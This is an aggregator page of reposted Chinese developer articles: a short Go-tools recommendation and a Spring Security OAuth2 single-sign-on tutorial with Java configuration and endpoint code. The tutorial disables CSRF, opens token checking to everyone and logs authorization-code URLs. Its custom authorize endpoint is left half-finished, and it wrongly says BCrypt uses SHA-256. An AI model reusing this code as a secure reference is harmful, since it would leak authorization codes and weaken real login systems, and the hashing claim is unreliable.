在这里说一下送书的规则,关注公众号 “aoho求索”,可以留言 etcd 相关的或与服务端的一些故事,我会从点赞数排名前3位同学。活动截止时间为10月25晚8点。

想直接购书的可以通过 链接 去京东进行8.7折优惠购买。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

两款 go 开发实用工具

发表于 2021-10-23

图片

图片拍摄于2021年8月1日,杭州西溪。

介绍

推荐两款go开发中用的还行的工具。

为什么推荐工具?是为了让评论区的大佬介绍其他更好用的工具,解放我的双手。

顺便问问,有没有只说话就能自动打完代码的工具?

JSON-To-Stuct

这个工具可以把json格式的数据转换成go的struct。比如你在对接第三方的时候,就不需要根据对方的接口一个个定义struct字段。下面示例复制的微信小商店商品json数据到网站的左框即可,当然自己还是需要做一些局部的调整。

图片

其实这个功能 21 版的goland也支持了。在goland中你只需要这样,

图片

Table-To-Stuct

被业务缠身的同学每天免不了CURD。CURD之前总得建表吧。建表之后总得在代码中定义模型吧。总不能又一个个字段定义,那么下面这个工具可能管用。

假设你有一个库dream,库里有一个表category,结构如下,

图片

你只需引入包github.com/gohouse/converter ,然后写这样的代码,就可以实现table-to-go功能。

图片

运行这段代码,最后会根据设置的SavePath里的地址(尚未存在的目录需要先自行创建),生成category.go文件,内容如下,

图片

相应的再进行调整即可。

总结

今天主要分享的是json-to-stuct、table-to-stuct这两款日常会用上的工具。

好了,现在开始你们给我介绍趁手的工具了。

推荐往期文章:

  • Leetcode 上的小偷太难了!!
  • Leetcode:House Robber II
  • 无限缓冲的channel(1)
  • 无限缓冲的channel(2)
  • 如何在 go 中实现一个 worker-pool?
  • 为什么把 dig 迁移到 wire

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

如何在分布式环境中搭建单点登录系统 第二篇:基于Oauth

发表于 2021-10-23

什么是SSO

单点登录系统主要解决统一认证授权的问题,在多个应用系统中,只需要登录一次,就可以访问其他相互信任的应用系统。

想要完成单点登录的效果,必须先统一管理用户信息,其他应用系统必须配合完成改造和对接。

什么场景下,需要用到SSO?

较大型的企业,往往存在多套应用系统。各个应用系统都是在企业发展的某个阶段,因业务发展的需求,开发研制而成。每套系统都会有一套自己的用户体系,需要终端用户注册、登录后才能使用。

随着企业的发展,用到的系统随之增多,用户在操作不同的系统时,需要多次登录,而且每个系统的账号都不一样,这对于用户来说很不方便。

于是,设计一套统一的登录认证系统,避免不必要的反复登录。减轻用户操作负担,提高效率,在企业的发展进程中,显得越来越重要。

什么是OAuth 2.0

OAuth(开放授权)是一个开放标准,允许用户授权第三方移动应用访问他们存储在另外的服务提供者上的信息,而不需要将用户名和密码提供给第三方移动应用或分享他们数据的所有内容。

OAuth 2.0是OAuth协议的下一版本,但不向后兼容OAuth 1.0。 OAuth 2.0关注客户端开发者的简易性,同时为Web应用,桌面应用和手机,和起居室设备提供专门的认证流程。

为什么需要OAuth 2.0?

上文提到,为了实现SSO,各个应用系统需要配合对接单点登录系统。OAuth2.0提供了一套简单,通用,可扩展的开放认证授权协议。既可以实现企业内部系统的对接,也可以实现企业与第三方外部系统的认证互通。
鉴于OAuth2.0的开放特性,只要遵守OAuth2.0协议,可以大幅降低系统间对接开发的沟通调试成本。

什么是Spring Security OAuth

Spring Security对OAuth的实现,借助SpringSecurity框架在认证授权方面既有的优势,可以让开发者简易地使用OAuth协议。

Spring Security OAuth存在的问题

  • 鉴于OAuth协议本身就有较多的概念(4种角色,4种授权模式),使用Spring Security OAuth就需要定义和管理OAuth相关的Bean。
  • 另一个比较大的问题,在于Spring Security OAuth默认基于Session实现,这在微服务场景下并不适用。这也是本系列文章要解决的核心问题。

代码实现

Springsecurity基础配置

  • 声明认证管理器AuthenticationManager,认证阶段的用户身份鉴别使用自定义的UserDetailsService
  • 采用BCryptPasswordEncoder对登录密码进行加密及编码,BCryptPasswordEncoder基于随机盐+密钥对密码进行加密,并通过SHA-256算法进行编码
  • 自定义认证逻辑过滤器,满足登录请求参数个性化,多样化需求
  • 自定义token解析过滤器,解决微服务无状态场景下,Spring Security OAuth无法在Session中获取用户认证信息的问题
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
Java复制代码package com.codeiy.auth.oauth.config;

import com.codeiy.auth.oauth.filter.AuthenticationProcessingFilter;
import com.codeiy.auth.oauth.filter.TokenAuthenticationFilter;
import com.codeiy.auth.oauth.handler.OAuthFailureHandler;
import com.codeiy.auth.oauth.handler.OAuthSuccessHandler;
import com.codeiy.auth.oauth.handler.SsoLogoutSuccessHandler;
import com.codeiy.auth.oauth.service.UserDetailsServiceImpl;
import com.codeiy.core.constant.AuthConstants;
import com.codeiy.user.client.UserClient;
import lombok.RequiredArgsConstructor;
import lombok.SneakyThrows;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Primary;
import org.springframework.core.annotation.Order;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
import org.springframework.security.config.http.SessionCreationPolicy;
import org.springframework.security.core.userdetails.UserDetailsService;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter;
import org.springframework.security.web.util.matcher.AntPathRequestMatcher;

import javax.servlet.Filter;

/**
* SpringSecurity基础配置
* 声明认证管理器{@link AuthenticationManager},认证阶段的用户身份鉴别使用自定义的{@link UserDetailsService}
* 采用{@link BCryptPasswordEncoder}对登录密码进行加密及编码,{@link BCryptPasswordEncoder}基于随机盐+密钥对密码进行加密,并通过SHA-256算法进行编码
*
* @author free@codeiy.com
*/
@Primary
@Order(90)
@Configuration(proxyBeanMethods = false)
@RequiredArgsConstructor
public class WebSecurityConfigurer extends WebSecurityConfigurerAdapter {
private final UserClient userClient;
/**
* 基于随机盐+密钥对密码进行加密,并通过SHA-256算法进行编码
*/
PasswordEncoder passwordEncoder = new BCryptPasswordEncoder();

/**
* 自定义身份认证服务
*/
@Override
@Bean
public UserDetailsService userDetailsService() {
UserDetailsServiceImpl userDetailsService = new UserDetailsServiceImpl();
userDetailsService.setUserClient(userClient);
userDetailsService.setPasswordEncoder(passwordEncoder);
return userDetailsService;
}

/**
* 1. 禁用csrf
* 2. 请求会话采用无状态方式
* 3. 自定义登录登出路径
* 4. 自定义登录请求参数{@link UsernamePasswordAuthenticationFilter}
*
* @param http http请求安全相关配置
*/
@Override
@SneakyThrows
protected void configure(HttpSecurity http) {
Filter loginFilter = loginFilter();
Filter tokenAuthenticationFilter = tokenAuthenticationFilter();
http.formLogin()
.loginProcessingUrl(AuthConstants.LOGIN_PROCESSING_URL).permitAll()
.and().csrf().disable()
.sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS)
.and().logout().logoutSuccessHandler(new SsoLogoutSuccessHandler())
.and().authorizeRequests()
.antMatchers(AuthConstants.LOGOUT_URL).permitAll()
.anyRequest().authenticated()
// 登录请求参数除了用户名,密码之外,还有验证码等其他参数,通过过滤器自定义认证逻辑
.and().addFilterBefore(loginFilter, UsernamePasswordAuthenticationFilter.class)
// 解决微服务架构无状态请求场景下,如何识别当前请求所属用户,并绑定到SpringSecurity上下文
.addFilterBefore(tokenAuthenticationFilter, UsernamePasswordAuthenticationFilter.class);

}

/**
* 认证管理器
*/
@Bean
@Override
@SneakyThrows
public AuthenticationManager authenticationManagerBean() {
return super.authenticationManagerBean();
}

/**
* 登录密码编码工具
*/
@Bean
public PasswordEncoder passwordEncoder() {
return passwordEncoder;
}

/**
* 自定义登录认证过滤器,满足登录请求参数个性化,多样化需求
*/
private Filter loginFilter() throws Exception {
AuthenticationProcessingFilter loginFilter = new AuthenticationProcessingFilter();
loginFilter.setRequiresAuthenticationRequestMatcher(new AntPathRequestMatcher(AuthConstants.LOGIN_PROCESSING_URL, AuthConstants.METHOD_POST));
loginFilter.setAuthenticationSuccessHandler(new OAuthSuccessHandler());
loginFilter.setAuthenticationFailureHandler(new OAuthFailureHandler());
loginFilter.setAuthenticationManager(authenticationManager());
return loginFilter;
}

/**
* token解析过滤器,解决微服务无状态场景下,Spring Security OAuth无法在Session中获取用户认证信息的问题
*/
private Filter tokenAuthenticationFilter() {
TokenAuthenticationFilter tokenAuthenticationFilter = new TokenAuthenticationFilter();
return tokenAuthenticationFilter;
}
}

OAuth认证服务器配置

  • 通过注解@EnableAuthorizationServer声明认证服务器
  • 基于ClientDetailsServiceImpl自定义应用系统信息管理
  • 基于Redis存储OAuth协议的AccessToken
  • 声明OAuth2.0简化模式AccessToken生成规则
  • 自定义Auth2.0协议确认授权以及认证请求链接
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
Java复制代码package com.codeiy.auth.oauth.config;

import com.codeiy.auth.oauth.service.AuthenticationCodeServiceImpl;
import com.codeiy.auth.oauth.service.ClientDetailsServiceImpl;
import com.codeiy.core.constant.AuthConstants;
import com.codeiy.user.client.AppClient;
import lombok.RequiredArgsConstructor;
import lombok.SneakyThrows;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.data.redis.connection.RedisConnectionFactory;
import org.springframework.http.HttpMethod;
import org.springframework.security.authentication.AuthenticationManager;
import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.security.oauth2.config.annotation.configurers.ClientDetailsServiceConfigurer;
import org.springframework.security.oauth2.config.annotation.web.configuration.AuthorizationServerConfigurerAdapter;
import org.springframework.security.oauth2.config.annotation.web.configuration.EnableAuthorizationServer;
import org.springframework.security.oauth2.config.annotation.web.configurers.AuthorizationServerEndpointsConfigurer;
import org.springframework.security.oauth2.config.annotation.web.configurers.AuthorizationServerSecurityConfigurer;
import org.springframework.security.oauth2.provider.ClientDetailsService;
import org.springframework.security.oauth2.provider.OAuth2RequestFactory;
import org.springframework.security.oauth2.provider.code.AuthorizationCodeServices;
import org.springframework.security.oauth2.provider.implicit.ImplicitTokenGranter;
import org.springframework.security.oauth2.provider.request.DefaultOAuth2RequestFactory;
import org.springframework.security.oauth2.provider.token.AuthorizationServerTokenServices;
import org.springframework.security.oauth2.provider.token.DefaultTokenServices;
import org.springframework.security.oauth2.provider.token.TokenStore;
import org.springframework.security.oauth2.provider.token.store.redis.RedisTokenStore;

/**
* 通过注解{@code @EnableAuthorizationServer}声明认证服务器
* 基于{@link ClientDetailsServiceImpl}自定义应用系统信息管理
* 基于Redis存储OAuth协议的AccessToken
* 声明OAuth2.0简化模式AccessToken生成规则
* 自定义Auth2.0协议确认授权以及认证请求链接
*/
@RequiredArgsConstructor
@EnableAuthorizationServer
@Configuration(proxyBeanMethods = false)
public class AuthorizationServerConfig extends AuthorizationServerConfigurerAdapter {
private final AppClient appClient;
private final AuthenticationManager authenticationManager;
private final RedisConnectionFactory redisConnectionFactory;
private final PasswordEncoder passwordEncoder;

private ClientDetailsServiceImpl clientDetailsService;
private RedisTokenStore redisTokenStore;
private AuthorizationServerTokenServices tokenServices;
private OAuth2RequestFactory oAuth2RequestFactory;
private ImplicitTokenGranter implicitTokenGranter;
private AuthorizationCodeServices authorizationCodeServices;

/**
* 基于Redis存储OAuth协议的AccessToken
*/
@Bean
public TokenStore tokenStore() {
if (redisTokenStore == null) {
redisTokenStore = new RedisTokenStore(redisConnectionFactory);
redisTokenStore.setPrefix(AuthConstants.OAUTH_PREFIX);
}
return redisTokenStore;
}

/**
* 令牌权限范围配置,使用默认的{@link DefaultOAuth2RequestFactory},可匹配到用户的角色。
*/
@Bean
public OAuth2RequestFactory oAuth2RequestFactory() {
if (oAuth2RequestFactory == null) {
oAuth2RequestFactory = new DefaultOAuth2RequestFactory(clientDetailsService());
}
return oAuth2RequestFactory;
}

/**
* OAuth2.0简化模式AccessToken生成规则
*/
@Bean
public ImplicitTokenGranter implicitTokenGranter() {
if (implicitTokenGranter == null) {
implicitTokenGranter = new ImplicitTokenGranter(tokenServices(), clientDetailsService(), oAuth2RequestFactory());
}
return implicitTokenGranter;
}

/**
* OAuth2.0授权码模式,自定义授权码的存储方式
*/
@Bean
public AuthorizationCodeServices authorizationCodeServices() {
if (authorizationCodeServices == null) {
authorizationCodeServices = new AuthenticationCodeServiceImpl(redisConnectionFactory);
}
return authorizationCodeServices;
}

/**
* 自定义应用系统信息管理
*/
private ClientDetailsService clientDetailsService() {
if (clientDetailsService == null) {
clientDetailsService = new ClientDetailsServiceImpl();
clientDetailsService.setPasswordEncoder(passwordEncoder);
clientDetailsService.setAppClient(appClient);
}
return clientDetailsService;
}

/**
* 声明AccessToken管理服务
*/
private AuthorizationServerTokenServices tokenServices() {
if (tokenServices == null) {
tokenServices = new DefaultTokenServices();
}
return tokenServices;
}

/**
* 配置应用系统管理,基于{@link ClientDetailsServiceImpl}自定义应用系统信息管理
*/
@Override
@SneakyThrows
public void configure(ClientDetailsServiceConfigurer clients) {
clients.withClientDetails(clientDetailsService());
}

/**
* 配置获取AccessToken请求的访问权限
*/
@Override
public void configure(AuthorizationServerSecurityConfigurer oauthServer) {
oauthServer.tokenKeyAccess("permitAll()").allowFormAuthenticationForClients().checkTokenAccess("permitAll()");
}

/**
* 自定义Auth2.0协议确认授权以及认证请求链接
*/
@Override
public void configure(AuthorizationServerEndpointsConfigurer endpoints) {
endpoints
.authenticationManager(authenticationManager)
.authorizationCodeServices(authorizationCodeServices())
.tokenServices(tokenServices())
.allowedTokenEndpointRequestMethods(HttpMethod.POST)
.pathMapping("/oauth/confirm_access", "/oauth/confirmAccess")
.pathMapping("/oauth/authorize", "/oauth/customAuthorize")
;
}

}

确认授权核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
Java复制代码package com.codeiy.auth.oauth.endpoint;

import cn.hutool.core.util.StrUtil;
import com.codeiy.core.util.R;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.springframework.security.authentication.InsufficientAuthenticationException;
import org.springframework.security.core.Authentication;
import org.springframework.security.core.AuthenticationException;
import org.springframework.security.core.context.SecurityContextHolder;
import org.springframework.security.oauth2.common.OAuth2AccessToken;
import org.springframework.security.oauth2.common.exceptions.*;
import org.springframework.security.oauth2.common.util.OAuth2Utils;
import org.springframework.security.oauth2.provider.*;
import org.springframework.security.oauth2.provider.code.AuthorizationCodeServices;
import org.springframework.security.oauth2.provider.endpoint.DefaultRedirectResolver;
import org.springframework.security.oauth2.provider.endpoint.RedirectResolver;
import org.springframework.security.oauth2.provider.implicit.ImplicitTokenGranter;
import org.springframework.security.oauth2.provider.implicit.ImplicitTokenRequest;
import org.springframework.security.oauth2.provider.request.DefaultOAuth2RequestValidator;
import org.springframework.util.StringUtils;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.view.RedirectView;
import org.springframework.web.util.UriComponents;
import org.springframework.web.util.UriComponentsBuilder;

import javax.servlet.http.HttpServletRequest;
import java.net.URI;
import java.util.*;

/**
* OAuth授权自定义端点
*/
@Slf4j
@RestController
@RequiredArgsConstructor
@RequestMapping("/oauth")
public class AuthEndpoint {
private final ClientDetailsService clientDetailsService;
private final ImplicitTokenGranter implicitTokenGranter;
private final AuthorizationCodeServices authorizationCodeServices;
private final OAuth2RequestFactory oAuth2RequestFactory;

private RedirectResolver redirectResolver = new DefaultRedirectResolver();
private OAuth2RequestValidator oauth2RequestValidator = new DefaultOAuth2RequestValidator();


/**
* 授权确认页面
*
* @return
*/
@GetMapping("/confirmAccess")
public R confirmAccess(HttpServletRequest request) {
String clientId = request.getParameter("clientId");
if (StrUtil.isBlank(clientId)) {
return R.failed("clientId不能为空");
}
ClientDetails clientDetails = clientDetailsService.loadClientByClientId(clientId);
if (clientDetails == null) {
return R.failed("根据clientId查无数据");
}
return R.ok(clientDetails);
}

/**
* 自定义确认授权
*
* @return
*/
@RequestMapping("/customAuthorize")
public R customAuthorize(HttpServletRequest request, @RequestParam Map<String, String> parameters) {
AuthorizationRequest authorizationRequest = oAuth2RequestFactory.createAuthorizationRequest(parameters);
Set<String> responseTypes = authorizationRequest.getResponseTypes();
if (!responseTypes.contains("token") && !responseTypes.contains("code")) {
throw new UnsupportedResponseTypeException("Unsupported response types: " + responseTypes);
}
if (authorizationRequest.getClientId() == null) {
throw new InvalidClientException("A client id must be provided");
}

Authentication principal = SecurityContextHolder.getContext().getAuthentication();
if (principal == null || !principal.isAuthenticated()) {
throw new InsufficientAuthenticationException(
"User must be authenticated with Spring Security before authorization can be completed.");
}

ClientDetails client = clientDetailsService.loadClientByClientId(authorizationRequest.getClientId());

// The resolved redirect URI is either the redirect_uri from the parameters or the one from
// clientDetails. Either way we need to store it on the AuthorizationRequest.
String redirectUriParameter = authorizationRequest.getRequestParameters().get(OAuth2Utils.REDIRECT_URI);
String resolvedRedirect = redirectResolver.resolveRedirect(redirectUriParameter, client);
if (!StringUtils.hasText(resolvedRedirect)) {
throw new RedirectMismatchException(
"A redirectUri must be either supplied or preconfigured in the ClientDetails");
}
authorizationRequest.setRedirectUri(resolvedRedirect);

// We intentionally only validate the parameters requested by the client (ignoring any data that may have
// been added to the request by the manager).
oauth2RequestValidator.validateScope(authorizationRequest, client);

authorizationRequest.setApproved("true".equals(parameters.get("user_oauth_approval")));

// Validation is all done, so we can check for auto approval...
if (authorizationRequest.isApproved()) {
if (responseTypes.contains("token")) {
ModelAndView mv = getImplicitGrantResponse(authorizationRequest);
}
if (responseTypes.contains("code")) {
String url = getSuccessfulRedirect(authorizationRequest, generateCode(authorizationRequest, principal));
log.info(url);
}
}


String clientId = request.getParameter("clientId");
if (StrUtil.isBlank(clientId)) {
return R.failed("clientId不能为空");
}
ClientDetails clientDetails = clientDetailsService.loadClientByClientId(clientId);
if (clientDetails == null) {
return R.failed("根据clientId查无数据");
}
return R.ok(clientDetails);
}


private String getSuccessfulRedirect(AuthorizationRequest authorizationRequest, String authorizationCode) {

if (authorizationCode == null) {
throw new IllegalStateException("No authorization code found in the current request scope.");
}

Map<String, String> query = new LinkedHashMap<String, String>();
query.put("code", authorizationCode);

String state = authorizationRequest.getState();
if (state != null) {
query.put("state", state);
}

return append(authorizationRequest.getRedirectUri(), query, null, false);
}


private String generateCode(AuthorizationRequest authorizationRequest, Authentication authentication)
throws AuthenticationException {

try {

OAuth2Request storedOAuth2Request = oAuth2RequestFactory.createOAuth2Request(authorizationRequest);

OAuth2Authentication combinedAuth = new OAuth2Authentication(storedOAuth2Request, authentication);
String code = authorizationCodeServices.createAuthorizationCode(combinedAuth);

return code;

} catch (OAuth2Exception e) {

if (authorizationRequest.getState() != null) {
e.addAdditionalInformation("state", authorizationRequest.getState());
}

throw e;

}
}

private ModelAndView getImplicitGrantResponse(AuthorizationRequest authorizationRequest) {
try {
TokenRequest tokenRequest = oAuth2RequestFactory.createTokenRequest(authorizationRequest, "implicit");
OAuth2Request storedOAuth2Request = oAuth2RequestFactory.createOAuth2Request(authorizationRequest);
OAuth2AccessToken accessToken = getAccessTokenForImplicitGrant(tokenRequest, storedOAuth2Request);
if (accessToken == null) {
throw new UnsupportedResponseTypeException("Unsupported response type: token");
}
return new ModelAndView(new RedirectView(appendAccessToken(authorizationRequest, accessToken), false, true,
false));
} catch (OAuth2Exception e) {
return new ModelAndView(new RedirectView(getUnsuccessfulRedirect(authorizationRequest, e, true), false,
true, false));
}
}

private String appendAccessToken(AuthorizationRequest authorizationRequest, OAuth2AccessToken accessToken) {

Map<String, Object> vars = new LinkedHashMap<String, Object>();
Map<String, String> keys = new HashMap<String, String>();

if (accessToken == null) {
throw new InvalidRequestException("An implicit grant could not be made");
}

vars.put("access_token", accessToken.getValue());
vars.put("token_type", accessToken.getTokenType());
String state = authorizationRequest.getState();

if (state != null) {
vars.put("state", state);
}
Date expiration = accessToken.getExpiration();
if (expiration != null) {
long expires_in = (expiration.getTime() - System.currentTimeMillis()) / 1000;
vars.put("expires_in", expires_in);
}
String originalScope = authorizationRequest.getRequestParameters().get(OAuth2Utils.SCOPE);
if (originalScope == null || !OAuth2Utils.parseParameterList(originalScope).equals(accessToken.getScope())) {
vars.put("scope", OAuth2Utils.formatParameterList(accessToken.getScope()));
}
Map<String, Object> additionalInformation = accessToken.getAdditionalInformation();
for (String key : additionalInformation.keySet()) {
Object value = additionalInformation.get(key);
if (value != null) {
keys.put("extra_" + key, key);
vars.put("extra_" + key, value);
}
}
// Do not include the refresh token (even if there is one)
return append(authorizationRequest.getRedirectUri(), vars, keys, true);
}

private String getUnsuccessfulRedirect(AuthorizationRequest authorizationRequest, OAuth2Exception failure,
boolean fragment) {

if (authorizationRequest == null || authorizationRequest.getRedirectUri() == null) {
// we have no redirect for the user. very sad.
throw new UnapprovedClientAuthenticationException("Authorization failure, and no redirect URI.", failure);
}

Map<String, String> query = new LinkedHashMap<String, String>();

query.put("error", failure.getOAuth2ErrorCode());
query.put("error_description", failure.getMessage());

if (authorizationRequest.getState() != null) {
query.put("state", authorizationRequest.getState());
}

if (failure.getAdditionalInformation() != null) {
for (Map.Entry<String, String> additionalInfo : failure.getAdditionalInformation().entrySet()) {
query.put(additionalInfo.getKey(), additionalInfo.getValue());
}
}

return append(authorizationRequest.getRedirectUri(), null, query, fragment);

}

private String append(String base, Map<String, ?> query, Map<String, String> keys, boolean fragment) {

UriComponentsBuilder template = UriComponentsBuilder.newInstance();
UriComponentsBuilder builder = UriComponentsBuilder.fromUriString(base);
URI redirectUri;
try {
// assume it's encoded to start with (if it came in over the wire)
redirectUri = builder.build(true).toUri();
} catch (Exception e) {
// ... but allow client registrations to contain hard-coded non-encoded values
redirectUri = builder.build().toUri();
builder = UriComponentsBuilder.fromUri(redirectUri);
}
template.scheme(redirectUri.getScheme()).port(redirectUri.getPort()).host(redirectUri.getHost())
.userInfo(redirectUri.getUserInfo()).path(redirectUri.getPath());

if (fragment) {
StringBuilder values = new StringBuilder();
if (redirectUri.getFragment() != null) {
String append = redirectUri.getFragment();
values.append(append);
}
for (String key : query.keySet()) {
if (values.length() > 0) {
values.append("&");
}
String name = key;
if (keys != null && keys.containsKey(key)) {
name = keys.get(key);
}
values.append(name + "={" + key + "}");
}
if (values.length() > 0) {
template.fragment(values.toString());
}
UriComponents encoded = template.build().expand(query).encode();
builder.fragment(encoded.getFragment());
} else {
for (String key : query.keySet()) {
String name = key;
if (keys != null && keys.containsKey(key)) {
name = keys.get(key);
}
template.queryParam(name, "{" + key + "}");
}
template.fragment(redirectUri.getFragment());
UriComponents encoded = template.build().expand(query).encode();
builder.query(encoded.getQuery());
}

return builder.build().toUriString();

}

private synchronized OAuth2AccessToken getAccessTokenForImplicitGrant(TokenRequest tokenRequest,
OAuth2Request storedOAuth2Request) {
return implicitTokenGranter.grant("implicit", new ImplicitTokenRequest(tokenRequest, storedOAuth2Request));
}
}

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

1…475476477…956

开发者博客

9558 日志
1953 标签
RSS
© 2025 开发者博客
本站总访问量次
由 Hexo 强力驱动
|
主题 — NexT.Muse v5.1.4
0%